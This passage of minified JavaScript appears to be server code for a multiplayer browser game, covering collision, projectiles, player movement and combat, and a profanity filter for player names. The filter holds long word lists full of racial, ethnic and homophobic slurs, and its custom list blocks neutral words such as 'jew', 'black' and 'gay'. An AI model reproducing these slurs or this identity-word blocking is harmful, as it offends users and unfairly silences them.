6671 }, this.fetchSpawnObj = function (e) {
6672 for (var n = null, i = 0; i < t.length; ++i)
6673 if ((g = t[i]).active && g.owner && g.owner.sid == e && g.spawnPoint) {
6674 n = [g.x, g.y], this.disableObj(g), h.broadcast("12", g.sid), g.owner && g.owner.changeItemCount(g.group.id, -1);
6675 break
6676 } return n
6677 }, this.checkItemLocation = function (e, n, i, r, s, a, l) {
6678 for (var h = 0; h < t.length; ++h) {
6679 var u = t[h].blocker ? t[h].blocker : t[h].getScale(r, t[h].isItem);
6680 if (t[h].active && o.getDistance(e, n, t[h].x, t[h].y) < i + u) return !1
6681 }
6682 return !(!a && 18 != s && n >= c.mapScale / 2 - c.riverWidth / 2 && n <= c.mapScale / 2 + c.riverWidth / 2)
6683 }, this.addProjectile = function (e, t, n, i, r) {
6684 for (var s, a = items.projectiles[r], c = 0; c < projectiles.length; ++c)
6685 if (!projectiles[c].active) {
6686 s = projectiles[c];
6687 break
6688 } s || (s = new Projectile(l, o), projectiles.push(s)), s.init(r, e, t, n, a.speed, i, a.scale)
6689 }, this.checkCollision = function (e, t, n) {
6690 n = n || 1;
6691 var l = e.x - t.x,
6692 h = e.y - t.y,
6693 u = e.scale + t.scale;
6694 if (i(l) <= u || i(h) <= u) {
6695 u = e.scale + (t.getScale ? t.getScale() : t.scale);
6696 var f = a(l * l + h * h) - u;
6697 if (f <= 0) {
6698 if (t.ignoreCollision) !t.trap || e.noTrap || t.owner == e || t.owner && t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n * t.boostSpeed * (t.weightM || 1) * r(t.dir), e.yVel += n * t.boostSpeed * (t.weightM || 1) * s(t.dir)) : t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = o.randInt(0, c.mapScale), e.y = o.randInt(0, c.mapScale)) : (e.lockMove = !0, t.hideFromEnemy = !1);
6699 else {
6700 var d = o.getDirection(e.x, e.y, t.x, t.y);
6701 if (o.getDistance(e.x, e.y, t.x, t.y), t.isPlayer ? (f = -1 * f / 2, e.x += f * r(d), e.y += f * s(d), t.x -= f * r(d), t.y -= f * s(d)) : (e.x = t.x + u * r(d), e.y = t.y + u * s(d), e.xVel *= .75, e.yVel *= .75), t.dmg && t.owner != e && (!t.owner || !t.owner.team || t.owner.team != e.team)) {
6702 e.changeHealth(-t.dmg, t.owner, t);
6703 var p = 1.5 * (t.weightM || 1);
6704 e.xVel += p * r(d), e.yVel += p * s(d), !t.pDmg || e.skin && e.skin.poisonRes || (e.dmgOverTime.dmg = t.pDmg, e.dmgOverTime.time = 5, e.dmgOverTime.doer = t.owner), e.colDmg && t.health && (t.changeHealth(-e.colDmg) && this.disableObj(t), this.hitObj(t, o.getDirection(e.x, e.y, t.x, t.y)))
6705 }
6706 }
6707 return t.zIndex > e.zIndex && (e.zIndex = t.zIndex), !0
6708 }
6709 }
6710 return !1
6711 }
6712 }
6713}, function (e, t, n) {
6714 var i = new(n(49));
6715 i.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump", "clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo", "kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner", "nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole", "stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn", "chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig", "nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little", "kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]", "mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa", "discord", "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio", "vries", "asa");
6716 var r = Math.abs,
6717 s = Math.cos,
6718 a = Math.sin,
6719 o = Math.pow,
6720 c = Math.sqrt;
6721 e.exports = function (e, t, n, l, h, u, f, d, p, g, m, y, k, v) {
6722 this.id = e, this.sid = t, this.tmpScore = 0, this.team = null, this.skinIndex = 0, this.tailIndex = 0, this.hitTime = 0, this.tails = {};
6723 for (var w = 0; w < m.length; ++w) m[w].price <= 0 && (this.tails[m[w].id] = 1);
6724 for (this.skins = {}, w = 0; w < g.length; ++w) g[w].price <= 0 && (this.skins[g[w].id] = 1);
6725 this.points = 0, this.dt = 0, this.hidden = !1, this.itemCounts = {}, this.isPlayer = !0, this.pps = 0, this.moveDir = void 0, this.skinRot = 0, this.lastPing = 0, this.iconIndex = 0, this.skinColor = 0, this.spawn = function (e) {
6726 this.active = !0, this.alive = !0, this.lockMove = !1, this.lockDir = !1, this.minimapCounter = 0, this.chatCountdown = 0, this.shameCount = 0, this.shameTimer = 0, this.sentTo = {}, this.gathering = 0, this.autoGather = 0, this.animTime = 0, this.animSpeed = 0, this.mouseState = 0, this.buildIndex = -1, this.weaponIndex = 0, this.dmgOverTime = {}, this.noMovTimer = 0, this.maxXP = 300, this.XP = 0, this.age = 1, this.kills = 0, this.upgrAge = 2, this.upgradePoints = 0, this.x = 0, this.y = 0, this.zIndex = 0, this.xVel = 0, this.yVel = 0, this.slowMult = 1, this.dir = 0, this.dirPlus = 0, this.targetDir = 0, this.targetAngle = 0, this.maxHealth = 100, this.health = this.maxHealth, this.scale = n.playerScale, this.speed = n.playerSpeed, this.resetMoveDir(), this.resetResources(e), this.items = [0, 3, 6, 10], this.weapons = [0], this.shootCount = 0, this.weaponXP = [], this.reloads = {}
6727 }, this.resetMoveDir = function () {
6728 this.moveDir = void 0
6729 }, this.resetResources = function (e) {
6730 for (var t = 0; t < n.resourceTypes.length; ++t) this[n.resourceTypes[t]] = e ? 100 : 0
6731 }, this.addItem = function (e) {
6732 var t = p.list[e];
6733 if (t) {
6734 for (var n = 0; n < this.items.length; ++n)
6735 if (p.list[this.items[n]].group == t.group) return this.buildIndex == this.items[n] && (this.buildIndex = e), this.items[n] = e, !0;
6736 return this.items.push(e), !0
6737 }
6738 return !1
6739 }, this.setUserData = function (e) {
6740 if (e) {
6741 this.name = "unknown";
6742 var t = e.name + "",
6743 r = !1,
6744 s = (t = (t = (t = (t = t.slice(0, n.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, " ")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g, "s");
6745 for (var a of i.list)
6746 if (-1 != s.indexOf(a)) {
6747 r = !0;
6748 break
6749 } t.length > 0 && !r && (this.name = t), this.skinColor = 0, n.skinColors[e.skin] && (this.skinColor = e.skin)
6750 }
6751 }, this.getData = function () {
6752 return [this.id, this.sid, this.name, l.fixTo(this.x, 2), l.fixTo(this.y, 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale, this.skinColor]
6753 }, this.setData = function (e) {
6754 this.id = e[0], this.sid = e[1], this.name = e[2], this.x = e[3], this.y = e[4], this.dir = e[5], this.health = e[6], this.maxHealth = e[7], this.scale = e[8], this.skinColor = e[9]
6755 };
6756 var b = 0;
6757 this.update = function (e) {
6758 if (this.alive) {
6759 if (this.shameTimer > 0 && (this.shameTimer -= e, this.shameTimer <= 0 && (this.shameTimer = 0, this.shameCount = 0)), (b -= e) <= 0) {
6760 var t = (this.skin && this.skin.healthRegen ? this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ? this.tail.healthRegen : 0);
6761 t && this.changeHealth(t, this), this.dmgOverTime.dmg && (this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer), this.dmgOverTime.time -= 1, this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)), this.healCol && this.changeHealth(this.healCol, this), b = 1e3
6762 }
6763 if (this.alive) {
6764 if (this.slowMult < 1 && (this.slowMult += 8e-4 * e, this.slowMult > 1 && (this.slowMult = 1)), this.noMovTimer += e, (this.xVel || this.yVel) && (this.noMovTimer = 0), this.lockMove) this.xVel = 0, this.yVel = 0;
6765 else {
6766 var i = (this.buildIndex >= 0 ? .5 : 1) * (p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1) * (this.tail && this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin && this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
6767 !this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2 && this.y <= n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ? (i *= .75, this.xVel += .4 * n.waterCurrent * e) : (i *= .33, this.xVel += n.waterCurrent * e));
6768 var r = null != this.moveDir ? s(this.moveDir) : 0,
6769 d = null != this.moveDir ? a(this.moveDir) : 0,
6770 g = c(r * r + d * d);
6771 0 != g && (r /= g, d /= g), r && (this.xVel += r * this.speed * i * e), d && (this.yVel += d * this.speed * i * e)
6772 }
6773 var m;
6774 this.zIndex = 0, this.lockMove = !1, this.healCol = 0;
6775 for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e), k = Math.min(4, Math.max(1, Math.round(y / 40))), v = 1 / k, w = 0; w < k; ++w) {
6776 this.xVel && (this.x += this.xVel * e * v), this.yVel && (this.y += this.yVel * e * v), m = u.getGridArrays(this.x, this.y, this.scale);
6777 for (var x = 0; x < m.length; ++x)
6778 for (var S = 0; S < m[x].length; ++S) m[x][S].active && u.checkCollision(this, m[x][S], v)
6779 }
6780 for (w = (I = f.indexOf(this)) + 1; w < f.length; ++w) f[w] != this && f[w].alive && u.checkCollision(this, f[w]);
6781 if (this.xVel && (this.xVel *= o(n.playerDecel, e), this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)), this.yVel && (this.yVel *= o(n.playerDecel, e), this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)), this.x - this.scale < 0 ? this.x = this.scale : this.x + this.scale > n.mapScale && (this.x = n.mapScale - this.scale), this.y - this.scale < 0 ? this.y = this.scale : this.y + this.scale > n.mapScale && (this.y = n.mapScale - this.scale), this.buildIndex < 0)
6782 if (this.reloads[this.weaponIndex] > 0) this.reloads[this.weaponIndex] -= e, this.gathering = this.mouseState;
6783 else if (this.gathering || this.autoGather) {
6784 var T = !0;
6785 if (null != p.weapons[this.weaponIndex].gather) this.gather(f);
6786 else if (null != p.weapons[this.weaponIndex].projectile && this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
6787 this.useRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0), this.noMovTimer = 0;
6788 var I = p.weapons[this.weaponIndex].projectile,
6789 E = 2 * this.scale,
6790 M = this.skin && this.skin.aMlt ? this.skin.aMlt : 1;
6791 p.weapons[this.weaponIndex].rec && (this.xVel -= p.weapons[this.weaponIndex].rec * s(this.dir), this.yVel -= p.weapons[this.weaponIndex].rec * a(this.dir)), h.addProjectile(this.x + E * s(this.dir), this.y + E * a(this.dir), this.dir, p.projectiles[I].range * M, p.projectiles[I].speed * M, I, this, null, this.zIndex)
6792 } else T = !1;
6793 this.gathering = this.mouseState, T && (this.reloads[this.weaponIndex] = p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
6794 }
6795 }
6796 }
6797 }, this.addWeaponXP = function (e) {
6798 this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] = 0), this.weaponXP[this.weaponIndex] += e
6799 }, this.earnXP = function (e) {
6800 this.age < n.maxAge && (this.XP += e, this.XP >= this.maxXP ? (this.age < n.maxAge ? (this.age++, this.XP = 0, this.maxXP *= 1.2) : this.XP = this.maxXP, this.upgradePoints++, y.send(this.id, "16", this.upgradePoints, this.upgrAge), y.send(this.id, "15", this.XP, l.fixTo(this.maxXP, 1), this.age)) : y.send(this.id, "15", this.XP))
6801 }, this.changeHealth = function (e, t) {
6802 if (e > 0 && this.health >= this.maxHealth) return !1;
6803 e < 0 && this.skin && (e *= this.skin.dmgMult || 1), e < 0 && this.tail && (e *= this.tail.dmgMult || 1), e < 0 && (this.hitTime = Date.now()), this.health += e, this.health > this.maxHealth && (e -= this.health - this.maxHealth, this.health = this.maxHealth), this.health <= 0 && this.kill(t);
6804 for (var n = 0; n < f.length; ++n) this.sentTo[f[n].id] && y.send(f[n].id, "h", this.sid, Math.round(this.health));
6805 return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id, "t", Math.round(this.x), Math.round(this.y), Math.round(-e), 1), !0
6806 }, this.kill = function (e) {
6807 e && e.alive && (e.kills++, e.skin && e.skin.goldSteal ? k(e, Math.round(this.points / 2)) : k(e, Math.round(100 * this.age * (e.skin && e.skin.kScrM ? e.skin.kScrM : 1))), y.send(e.id, "9", "kills", e.kills, 1)), this.alive = !1, y.send(this.id, "11"), v()
6808 }, this.addResource = function (e, t, i) {
6809 !i && t > 0 && this.addWeaponXP(t), 3 == e ? k(this, t, !0) : (this[n.resourceTypes[e]] += t, y.send(this.id, "9", n.resourceTypes[e], this[n.resourceTypes[e]], 1))
6810 }, this.changeItemCount = function (e, t) {
6811 this.itemCounts[e] = this.itemCounts[e] || 0, this.itemCounts[e] += t, y.send(this.id, "14", e, this.itemCounts[e])
6812 }, this.buildItem = function (e) {
6813 var t = this.scale + e.scale + (e.placeOffset || 0),
6814 n = this.x + t * s(this.dir),
6815 i = this.y + t * a(this.dir);
6816 if (this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat) && (e.consume || u.checkItemLocation(n, i, e.scale, .6, e.id, !1, this))) {
6817 var r = !1;
6818 if (e.consume) {
6819 if (this.hitTime) {
6820 var o = Date.now() - this.hitTime;
6821 this.hitTime = 0, o <= 120 ? (this.shameCount++, this.shameCount >= 8 && (this.shameTimer = 3e4, this.shameCount = 0)) : (this.shameCount -= 2, this.shameCount <= 0 && (this.shameCount = 0))
6822 }
6823 this.shameTimer <= 0 && (r = e.consume(this))
6824 } else r = !0, e.group.limit && this.changeItemCount(e.group.id, 1), e.pps && (this.pps += e.pps), u.add(u.objects.length, n, i, this.dir, e.scale, e.type, e, !1, this);
6825 r && (this.useRes(e), this.buildIndex = -1)
6826 }
6827 }, this.hasRes = function (e, t) {
6828 for (var n = 0; n < e.req.length;) {
6829 if (this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1))) return !1;
6830 n += 2
6831 }
6832 return !0
6833 }, this.useRes = function (e, t) {
6834 if (!n.inSandbox)
6835 for (var i = 0; i < e.req.length;) this.addResource(n.resourceTypes.indexOf(e.req[i]), -Math.round(e.req[i + 1] * (t || 1))), i += 2
6836 }, this.canBuild = function (e) {
6837 return !!n.inSandbox || !(e.group.limit && this.itemCounts[e.group.id] >= e.group.limit) && this.hasRes(e)
6838 }, this.gather = function () {
6839 this.noMovTimer = 0, this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3, this.slowMult < 0 && (this.slowMult = 0);
6840 for (var e, t, i, r = n.fetchVariant(this), o = r.poison, c = r.val, h = {}, g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), m = 0; m < g.length; ++m)
6841 for (var y = 0; y < g[m].length; ++y)
6842 if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] && t.visibleToPlayer(this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <= p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y), l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
6843 if (h[t.sid] = 1, t.health) {
6844 if (t.changeHealth(-p.weapons[this.weaponIndex].dmg * c * (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ? this.skin.bDmg : 1), this)) {
6845 for (var k = 0; k < t.req.length;) this.addResource(n.resourceTypes.indexOf(t.req[k]), t.req[k + 1]), k += 2;
6846 u.disableObj(t)
6847 }
6848 } else {
6849 this.earnXP(4 * p.weapons[this.weaponIndex].gather);
6850 var v = p.weapons[this.weaponIndex].gather + (3 == t.type ? 4 : 0);
6851 this.skin && this.skin.extraGold && this.addResource(3, 1), this.addResource(t.type, v)
6852 }
6853 i = !0, u.hitObj(t, e)
6854 } for (y = 0; y < f.length + d.length; ++y)
6855 if ((t = f[y] || d[y - f.length]) != this && t.alive && (!t.team || t.team != this.team) && l.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale <= p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y), l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
6856 var w = p.weapons[this.weaponIndex].steal;
6857 w && t.addResource && (w = Math.min(t.points || 0, w), this.addResource(3, w), t.addResource(3, -w));
6858 var b = c;
6859 null != t.weaponIndex && p.weapons[t.weaponIndex].shield && l.getAngleDist(e + Math.PI, t.dir) <= n.shieldAngle && (b = p.weapons[t.weaponIndex].shield);
6860 var x = p.weapons[this.weaponIndex].dmg * (this.skin && this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ? this.tail.dmgMultO : 1),
6861 S = .3 * (t.weightM || 1) + (p.weapons[this.weaponIndex].knock || 0);
6862 t.xVel += S * s(e), t.yVel += S * a(e), this.skin && this.skin.healD && this.changeHealth(x * b * this.skin.healD, this), this.tail && this.tail.healD && this.changeHealth(x * b * this.tail.healD, this), t.skin && t.skin.dmg && 1 == b && this.changeHealth(-x * t.skin.dmg, t), t.tail && t.tail.dmg && 1 == b && this.changeHealth(-x * t.tail.dmg, t), !(t.dmgOverTime && this.skin && this.skin.poisonDmg) || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = this.skin.poisonDmg, t.dmgOverTime.time = this.skin.poisonTime || 1, t.dmgOverTime.doer = this), !t.dmgOverTime || !o || t.skin && t.skin.poisonRes || (t.dmgOverTime.dmg = 5, t.dmgOverTime.time = 5, t.dmgOverTime.doer = this), t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK * s(e), this.yVel -= t.skin.dmgK * a(e)), t.changeHealth(-x * b, this, this)
6863 } this.sendAnimation(i ? 1 : 0)
6864 }, this.sendAnimation = function (e) {
6865 for (var t = 0; t < f.length; ++t) this.sentTo[f[t].id] && this.canSee(f[t]) && y.send(f[t].id, "7", this.sid, e ? 1 : 0, this.weaponIndex)
6866 };
6867 var x = 0,
6868 S = 0;
6869 this.animate = function (e) {
6870 this.animTime > 0 && (this.animTime -= e, this.animTime <= 0 ? (this.animTime = 0, this.dirPlus = 0, x = 0, S = 0) : 0 == S ? (x += e / (this.animSpeed * n.hitReturnRatio), this.dirPlus = l.lerp(0, this.targetAngle, Math.min(1, x)), x >= 1 && (x = 1, S = 1)) : (x -= e / (this.animSpeed * (1 - n.hitReturnRatio)), this.dirPlus = l.lerp(0, this.targetAngle, Math.max(0, x))))
6871 }, this.startAnim = function (e, t) {
6872 this.animTime = this.animSpeed = p.weapons[t].speed, this.targetAngle = e ? -n.hitAngle : -Math.PI, x = 0, S = 0
6873 }, this.canSee = function (e) {
6874 if (!e) return !1;
6875 if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer) return !1;
6876 var t = r(e.x - this.x) - e.scale,
6877 i = r(e.y - this.y) - e.scale;
6878 return t <= n.maxScreenWidth / 2 * 1.3 && i <= n.maxScreenHeight / 2 * 1.3
6879 }
6880 }
6881}, function (e, t, n) {
6882 const i = n(50).words,
6883 r = n(51).array;
6884 e.exports = class {
6885 constructor(e = {}) {
6886 Object.assign(this, {
6887 list: e.emptyList && [] || Array.prototype.concat.apply(i, [r, e.list || []]),
6888 exclude: e.exclude || [],
6889 placeHolder: e.placeHolder || "*",
6890 regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
6891 replaceRegex: e.replaceRegex || /\w/g
6892 })
6893 }
6894 isProfane(e) {
6895 return this.list.filter(t => {
6896 const n = new RegExp(`\\b${t.replace(/(\W)/g,"\\$1")}\\b`, "gi");
6897 return !this.exclude.includes(t.toLowerCase()) && n.test(e)
6898 }).length > 0 || !1
6899 }
6900 replaceWord(e) {
6901 return e.replace(this.regex, "").replace(this.replaceRegex, this.placeHolder)
6902 }
6903 clean(e) {
6904 return e.split(/\b/).map(e => this.isProfane(e) ? this.replaceWord(e) : e).join("")
6905 }
6906 addWords() {
6907 let e = Array.from(arguments);
6908 this.list.push(...e), e.map(e => e.toLowerCase()).forEach(e => {
6909 this.exclude.includes(e) && this.exclude.splice(this.exclude.indexOf(e), 1)
6910 })
6911 }
6912 removeWords() {
6913 this.exclude.push(...Array.from(arguments).map(e => e.toLowerCase()))
6914 }
6915 }
6916}, function (e) {
6917 e.exports = {
6918 words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz", "asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds", "basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole", "buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit", "cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s", "dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics", "dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget", "fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs", "fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken", "Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar", "hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm", "jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits", "Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate", "masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;", "niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface", "orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky", "pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis", "penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker", "polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee", "pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz", "qweir", "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing", "semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz", "shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty", "Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag", "slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina", "vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p", "wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit", "arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch", "bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits", "cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk", "fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian", "masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi", "nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs", "teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar", "whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*", "assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate", "cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego", "dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer", "faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*", "Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena", "h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun", "jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger", "Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*", "mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis", "nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*", "pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n", "preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg", "schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta", "sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic", "spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu", "wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"]
6919 }
6920}, function (e, t, n) {
6921 e.exports = {
6922 object: n(52),
6923 array: n(53),
6924 regex: n(54)
6925 }
6926}, function (e, t) {
6927 e.exports = {
6928 "4r5e": 1,
6929 "5h1t": 1,
6930 "5hit": 1,
6931 a55: 1,
6932 anal: 1,
6933 anus: 1,
6934 ar5e: 1,
6935 arrse: 1,
6936 arse: 1,
6937 ass: 1,
6938 "ass-fucker": 1,
6939 asses: 1,
6940 assfucker: 1,
6941 assfukka: 1,
6942 asshole: 1,
6943 assholes: 1,
6944 asswhole: 1,
6945 a_s_s: 1,
6946 "b!tch": 1,
6947 b00bs: 1,
6948 b17ch: 1,
6949 b1tch: 1,
6950 ballbag: 1,
6951 balls: 1,
6952 ballsack: 1,
6953 bastard: 1,
6954 beastial: 1,
6955 beastiality: 1,
6956 bellend: 1,
6957 bestial: 1,
6958 bestiality: 1,
6959 "bi+ch": 1,
6960 biatch: 1,
6961 bitch: 1,
6962 bitcher: 1,
6963 bitchers: 1,
6964 bitches: 1,
6965 bitchin: 1,
6966 bitching: 1,
6967 bloody: 1,
6968 "blow job": 1,
6969 blowjob: 1,
6970 blowjobs: 1,
6971 boiolas: 1,
6972 bollock: 1,
6973 bollok: 1,
6974 boner: 1,
6975 boob: 1,
6976 boobs: 1,
6977 booobs: 1,
6978 boooobs: 1,
6979 booooobs: 1,
6980 booooooobs: 1,
6981 breasts: 1,
6982 buceta: 1,
6983 bugger: 1,
6984 bum: 1,
6985 "bunny fucker": 1,
6986 butt: 1,
6987 butthole: 1,
6988 buttmuch: 1,
6989 buttplug: 1,
6990 c0ck: 1,
6991 c0cksucker: 1,
6992 "carpet muncher": 1,
6993 cawk: 1,
6994 chink: 1,
6995 cipa: 1,
6996 cl1t: 1,
6997 clit: 1,
6998 clitoris: 1,
6999 clits: 1,
7000 cnut: 1,
7001 cock: 1,
7002 "cock-sucker": 1,
7003 cockface: 1,
7004 cockhead: 1,
7005 cockmunch: 1,
7006 cockmuncher: 1,
7007 cocks: 1,
7008 cocksuck: 1,
7009 cocksucked: 1,
7010 cocksucker: 1,
7011 cocksucking: 1,
7012 cocksucks: 1,
7013 cocksuka: 1,
7014 cocksukka: 1,
7015 cok: 1,
7016 cokmuncher: 1,
7017 coksucka: 1,
7018 coon: 1,
7019 cox: 1,
7020 crap: 1,
7021 cum: 1,
7022 cummer: 1,
7023 cumming: 1,
7024 cums: 1,
7025 cumshot: 1,
7026 cunilingus: 1,
7027 cunillingus: 1,
7028 cunnilingus: 1,
7029 cunt: 1,
7030 cuntlick: 1,
7031 cuntlicker: 1,
7032 cuntlicking: 1,
7033 cunts: 1,
7034 cyalis: 1,
7035 cyberfuc: 1,
7036 cyberfuck: 1,
7037 cyberfucked: 1,
7038 cyberfucker: 1,
7039 cyberfuckers: 1,
7040 cyberfucking: 1,
7041 d1ck: 1,
7042 damn: 1,
7043 dick: 1,
7044 dickhead: 1,
7045 dildo: 1,
7046 dildos: 1,
7047 dink: 1,
7048 dinks: 1,
7049 dirsa: 1,
7050 dlck: 1,
7051 "dog-fucker": 1,
7052 doggin: 1,
7053 dogging: 1,
7054 donkeyribber: 1,
7055 doosh: 1,
7056 duche: 1,
7057 dyke: 1,
7058 ejaculate: 1,
7059 ejaculated: 1,
7060 ejaculates: 1,
7061 ejaculating: 1,
7062 ejaculatings: 1,
7063 ejaculation: 1,
7064 ejakulate: 1,
7065 "f u c k": 1,
7066 "f u c k e r": 1,
7067 f4nny: 1,
7068 fag: 1,
7069 fagging: 1,
7070 faggitt: 1,
7071 faggot: 1,
7072 faggs: 1,
7073 fagot: 1,
7074 fagots: 1,
7075 fags: 1,
7076 fanny: 1,
7077 fannyflaps: 1,
7078 fannyfucker: 1,
7079 fanyy: 1,
7080 fatass: 1,
7081 fcuk: 1,
7082 fcuker: 1,
7083 fcuking: 1,
7084 feck: 1,
7085 fecker: 1,
7086 felching: 1,
7087 fellate: 1,
7088 fellatio: 1,
7089 fingerfuck: 1,
7090 fingerfucked: 1,
7091 fingerfucker: 1,
7092 fingerfuckers: 1,
7093 fingerfucking: 1,
7094 fingerfucks: 1,
7095 fistfuck: 1,
7096 fistfucked: 1,
7097 fistfucker: 1,
7098 fistfuckers: 1,
7099 fistfucking: 1,
